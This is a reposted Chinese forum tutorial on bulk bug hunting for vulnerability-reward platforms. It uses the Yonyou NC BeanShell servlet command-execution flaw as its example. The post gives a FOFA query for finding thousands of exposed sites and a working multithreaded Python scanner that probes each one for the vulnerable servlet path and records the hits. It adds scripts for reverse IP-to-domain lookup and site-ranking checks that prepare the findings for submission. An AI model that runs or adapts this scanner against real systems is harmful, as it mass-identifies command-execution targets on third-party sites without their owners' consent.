安全矩阵

 找回密码
 立即注册
搜索
查看: 761|回复: 0

浅谈SRC漏洞批量挖掘思路

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2023-2-10 15:53:45 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2023-2-10 15:55 编辑

浅谈SRC漏洞批量挖掘思路
dota_st 潇湘信安
2023-02-09 08:30 发表于湖南
转载自:浅谈SRC漏洞批量挖掘思路
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
          请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
                        

0x01 前言
在接触src之前,我和很多师傅都有同一个疑问,就是那些大师傅是怎么批量挖洞的?摸滚打爬了两个月之后,我渐渐有了点自己的理解和经验,
所以打算分享出来和各位师傅交流,不足之处还望指正。

0x02 漏洞举例
这里以前几天爆出来的用友nc的命令执行漏洞为例
http://xxx.xxxx.xxxx.xxxx/servlet//~ic/bsh.servlet.BshServlet

文本框里可以命令执行

0x03 漏洞的批量检测
在知道这个漏洞详情之后,我们需要根据漏洞的特征去fofa里寻找全国范围里使用这个系统的网站,比如用友nc在fofa的搜索特征就是

app="用友-UFIDA-NC"

可以看到一共有9119条结果,接下来我们需要采集所有站点的地址下来,这里推荐狼组安全团队开发的fofa采集工具fofa-viewer
https://github.com/wgpsec/fofa_viewer

然后导出所有站点到一个txt文件中。

根据用友nc漏洞命令执行的特征,我们简单写一个多线程检测脚本
  1. #-- coding:UTF-8 --
  2. # Author:dota_st
  3. # Date:2021/5/10 9:16
  4. # blog: www.wlhhlc.top
  5. import requests
  6. import threadpool
  7. import os

  8. def exp(url):
  9.     poc = r"""/servlet//~ic/bsh.servlet.BshServlet"""
  10.     url = url + poc
  11.     try:
  12.         res = requests.get(url, timeout=3)
  13.         if "BeanShell" in res.text:
  14.             print("[*]存在漏洞的url:" + url)
  15.             with open ("用友命令执行列表.txt", 'a') as f:
  16.                 f.write(url + "\n")
  17.     except:
  18.         pass

  19. def multithreading(funcname, params=[], filename="yongyou.txt", pools=10):
  20.     works = []
  21.     with open(filename, "r") as f:
  22.         for i in f:
  23.             func_params = [i.rstrip("\n")] + params
  24.             works.append((func_params, None))
  25.     pool = threadpool.ThreadPool(pools)
  26.     reqs = threadpool.makeRequests(funcname, works)
  27.     [pool.putRequest(req) for req in reqs]
  28.     pool.wait()

  29. def main():
  30.     if os.path.exists("用友命令执行列表.txt"):
  31.         f = open("用友命令执行列表.txt", 'w')
  32.         f.truncate()
  33.     multithreading(exp, [], "yongyou.txt", 10)

  34. if __name__ == '__main__':
  35.     main()
复制代码


运行完后得到所有漏洞站点的txt文件

0x04 域名和权重的批量检测
在我们提交补天等漏洞平台时,不免注意到有这么一个规则,公益漏洞的提交需要满足站点的百度权重或者移动权重大于等于1,亦或者谷歌权重
大于等于3的条件,补天漏洞平台以爱站的检测权重为准

首先我们需要对收集过来的漏洞列表做一个ip反查域名,来证明归属,我们用爬虫写一个批量ip反查域名脚本,这里用了ip138和爱站两个站点来进行ip反查域名
因为多线程会被ban,目前只采用了单线程
  1. #-- coding:UTF-8 --
  2. # Author:dota_st
  3. # Date:2021/6/2 22:39
  4. # blog: www.wlhhlc.top
  5. import re, time
  6. import requests
  7. from fake_useragent import UserAgent
  8. from tqdm import tqdm
  9. import os
  10. # ip138
  11. def ip138_chaxun(ip, ua):
  12.     ip138_headers = {
  13.         'Host': 'site.ip138.com',
  14.         'User-Agent': ua.random,
  15.         'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
  16.         'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
  17.         'Accept-Encoding': 'gzip, deflate, br',
  18.         'Referer': 'https://site.ip138.com/'}
  19.     ip138_url = 'https://site.ip138.com/' + str(ip) + '/'
  20.     try:
  21.         ip138_res = requests.get(url=ip138_url, headers=ip138_headers, timeout=2).text
  22.         if '<li>暂无结果</li>' not in ip138_res:
  23.             result_site = re.findall(r"""</span><a href="/(.*?)/" target="_blank">""", ip138_res)
  24.             return result_site
  25.     except:
  26.         pass

  27. # 爱站
  28. def aizhan_chaxun(ip, ua):
  29.     aizhan_headers = {
  30.         'Host': 'dns.aizhan.com',
  31.         'User-Agent': ua.random,
  32.         'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
  33.         'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
  34.         'Accept-Encoding': 'gzip, deflate, br',
  35.         'Referer': 'https://dns.aizhan.com/'}
  36.     aizhan_url = 'https://dns.aizhan.com/' + str(ip) + '/'
  37.     try:
  38.         aizhan_r = requests.get(url=aizhan_url, headers=aizhan_headers, timeout=2).text
  39.         aizhan_nums = re.findall(r'''<span class="red">(.*?)</span>''', aizhan_r)
  40.         if int(aizhan_nums[0]) > 0:
  41.             aizhan_domains = re.findall(r'''rel="nofollow" target="_blank">(.*?)</a>''', aizhan_r)
  42.             return aizhan_domains
  43.     except:
  44.         pass


  45. def catch_result(i):
  46.     ua_header = UserAgent()
  47.     i = i.strip()
  48.     try:
  49.         ip = i.split(':')[1].split('//')[1]
  50.         ip138_result = ip138_chaxun(ip, ua_header)
  51.         aizhan_result = aizhan_chaxun(ip, ua_header)
  52.         time.sleep(1)
  53.         if ((ip138_result != None and ip138_result!=[]) or aizhan_result != None ):
  54.             with open("ip反查结果.txt", 'a') as f:
  55.                 result = "[url]:" + i + "   " + "[ip138]:" + str(ip138_result) + "  [aizhan]:" + str(aizhan_result)
  56.                 print(result)
  57.                 f.write(result + "\n")
  58.         else:
  59.             with open("反查失败列表.txt", 'a') as f:
  60.                 f.write(i + "\n")
  61.     except:
  62.         pass

  63. if __name__ == '__main__':
  64.     url_list = open("用友命令执行列表.txt", 'r').readlines()
  65.     url_len = len(open("用友命令执行列表.txt", 'r').readlines())
  66.     #每次启动时清空两个txt文件
  67.     if os.path.exists("反查失败列表.txt"):
  68.         f = open("反查失败列表.txt", 'w')
  69.         f.truncate()
  70.     if os.path.exists("ip反查结果.txt"):
  71.         f = open("ip反查结果.txt", 'w')
  72.         f.truncate()
  73.     for i in tqdm(url_list):
  74.         catch_result(i)
复制代码

运行结果:

然后拿到解析的域名后,就是对域名权重进行检测,这里采用爱站来进行权重检测,继续写一个批量检测脚本
  1. #-- coding:UTF-8 --
  2. # Author:dota_st
  3. # Date:2021/6/2 23:39
  4. # blog: www.wlhhlc.top
  5. import re
  6. import threadpool
  7. import urllib.parse
  8. import urllib.request
  9. import ssl
  10. from urllib.error import HTTPError
  11. import time
  12. import tldextract
  13. from fake_useragent import UserAgent
  14. import os
  15. import requests
  16. ssl._create_default_https_context = ssl._create_stdlib_context

  17. bd_mb = []
  18. gg = []
  19. global flag
  20. flag = 0

  21. #数据清洗
  22. def get_data():
  23.     url_list = open("ip反查结果.txt").readlines()
  24.     with open("domain.txt", 'w') as f:
  25.         for i in url_list:
  26.             i = i.strip()
  27.             res = i.split('[ip138]:')[1].split('[aizhan]')[0].split(",")[0].strip()
  28.             if res == 'None' or res == '[]':
  29.                 res = i.split('[aizhan]:')[1].split(",")[0].strip()
  30.             if res != '[]':
  31.                 res = re.sub('[\'\[\]]', '', res)
  32.                 ext = tldextract.extract(res)
  33.                 res1 = i.split('[url]:')[1].split('[ip138]')[0].strip()
  34.                 res2 = "http://www." + '.'.join(ext[1:])
  35.                 result = '[url]:' + res1 + '\t' + '[domain]:' + res2
  36.                 f.write(result + "\n")

  37. def getPc(domain):
  38.     ua_header = UserAgent()
  39.     headers = {
  40.         'Host': 'baidurank.aizhan.com',
  41.         'User-Agent': ua_header.random,
  42.         'Sec-Fetch-Dest': 'document',
  43.         'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  44.         'Cookie': ''
  45.     }
  46.     aizhan_pc = 'https://baidurank.aizhan.com/api/br?domain={}&style=text'.format(domain)
  47.     try:
  48.         req = urllib.request.Request(aizhan_pc, headers=headers)
  49.         response = urllib.request.urlopen(req,timeout=10)
  50.         b = response.read()
  51.         a = b.decode("utf8")
  52.         result_pc = re.findall(re.compile(r'>(.*?)</a>'),a)
  53.         pc = result_pc[0]
  54.         
  55.     except HTTPError as u:
  56.         time.sleep(3)
  57.         return getPc(domain)
  58.     return pc

  59. def getMobile(domain):
  60.     ua_header = UserAgent()
  61.     headers = {
  62.         'Host': 'baidurank.aizhan.com',
  63.         'User-Agent': ua_header.random,
  64.         'Sec-Fetch-Dest': 'document',
  65.         'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  66.         'Cookie': ''
  67.     }
  68.     aizhan_pc = 'https://baidurank.aizhan.com/api/mbr?domain={}&style=text'.format(domain)
  69.     try:
  70.         req = urllib.request.Request(aizhan_pc, headers=headers)
  71.         response = urllib.request.urlopen(req,timeout=10)
  72.         b = response.read()
  73.         a = b.decode("utf8")
  74.         result_m = re.findall(re.compile(r'>(.*?)</a>'),a)
  75.         mobile = result_m[0]
  76.     except HTTPError as u:
  77.         time.sleep(3)
  78.         return getMobile(domain)

  79.     return mobile
  80. # 权重查询
  81. def seo(domain, url):
  82.     try:
  83.         result_pc = getPc(domain)
  84.         result_mobile = getMobile(domain)
  85.     except Exception as u:
  86.         if flag == 0:
  87.             print('[!] 目标{}检测失败,已写入fail.txt等待重新检测'.format(url))
  88.             print(domain)
  89.             with open('fail.txt', 'a', encoding='utf-8') as o:
  90.                 o.write(url + '\n')
  91.         else:
  92.             print('[!!]目标{}第二次检测失败'.format(url))
  93.     result = '[+] 百度权重:'+ result_pc +'  移动权重:'+ result_mobile +'  '+url
  94.     print(result)
  95.     if result_pc =='0' and result_mobile =='0':
  96.         gg.append(result)
  97.     else:
  98.         bd_mb.append(result)

  99.     return True

  100. def exp(url):
  101.     try:
  102.         main_domain = url.split('[domain]:')[1]
  103.         ext = tldextract.extract(main_domain)
  104.         domain = '.'.join(ext[1:])
  105.         rew = seo(domain, url)
  106.     except Exception as u:
  107.         pass

  108. def multithreading(funcname, params=[], filename="domain.txt", pools=15):
  109.     works = []
  110.     with open(filename, "r") as f:
  111.         for i in f:
  112.             func_params = [i.rstrip("\n")] + params
  113.             works.append((func_params, None))
  114.     pool = threadpool.ThreadPool(pools)
  115.     reqs = threadpool.makeRequests(funcname, works)
  116.     [pool.putRequest(req) for req in reqs]
  117.     pool.wait()

  118. def google_simple(url, j):
  119.     google_pc = "https://pr.aizhan.com/{}/".format(url)
  120.     bz = 0
  121.     http_or_find = 0
  122.     try:
  123.         response = requests.get(google_pc, timeout=10).text
  124.         http_or_find = 1
  125.         result_pc = re.findall(re.compile(r'<span>谷歌PR:</span><a>(.*?)/></a>'), response)[0]
  126.         result_num = result_pc.split('alt="')[1].split('"')[0].strip()
  127.         if int(result_num) > 0:
  128.             bz = 1
  129.         result = '[+] 谷歌权重:' + result_num + '  ' + j
  130.         return result, bz
  131.     except:
  132.         if(http_or_find !=0):
  133.             result = "[!]格式错误:" + "j"
  134.             return result, bz
  135.         else:
  136.             time.sleep(3)
  137.             return google_simple(url, j)

  138. def exec_function():
  139.     if os.path.exists("fail.txt"):
  140.         f = open("fail.txt", 'w', encoding='utf-8')
  141.         f.truncate()
  142.     else:
  143.         f = open("fail.txt", 'w', encoding='utf-8')
  144.     multithreading(exp, [], "domain.txt", 15)
  145.     fail_url_list = open("fail.txt", 'r').readlines()
  146.     if len(fail_url_list) > 0:
  147.         print("*"*12 + "正在开始重新检测失败的url" + "*"*12)
  148.         global flag
  149.         flag = 1
  150.         multithreading(exp, [], "fail.txt", 15)
  151.     with open("权重列表.txt", 'w', encoding="utf-8") as f:
  152.         for i in bd_mb:
  153.             f.write(i + "\n")
  154.         f.write("\n")
  155.         f.write("-"*25 + "开始检测谷歌的权重" + "-"*25 + "\n")
  156.         f.write("\n")
  157.         print("*" * 12 + "正在开始检测谷歌的权重" + "*" * 12)
  158.         for j in gg:
  159.             main_domain = j.split('[domain]:')[1]
  160.             ext = tldextract.extract(main_domain)
  161.             domain = "www." + '.'.join(ext[1:])
  162.             google_result, bz = google_simple(domain, j)
  163.             time.sleep(1)
  164.             print(google_result)
  165.             if bz == 1:
  166.                 f.write(google_result + "\n")
  167.     print("检测完成,已保存txt在当前目录下")
  168. def main():
  169.     get_data()
  170.     exec_function()

  171. if __name__ == "__main__":
  172.     main()
复制代码




0x05 漏洞提交
最后就是一个个拿去提交漏洞了

0x06 结尾
文中所写脚本还处于勉强能用的状态,后续会进行优化更改。师傅们如有需要也可选择自行更改。​​​​​​​
文章来源:dota_st博客原文地址:https://www.wlhhlc.top/posts/997/


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 00:55 , Processed in 0.013154 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表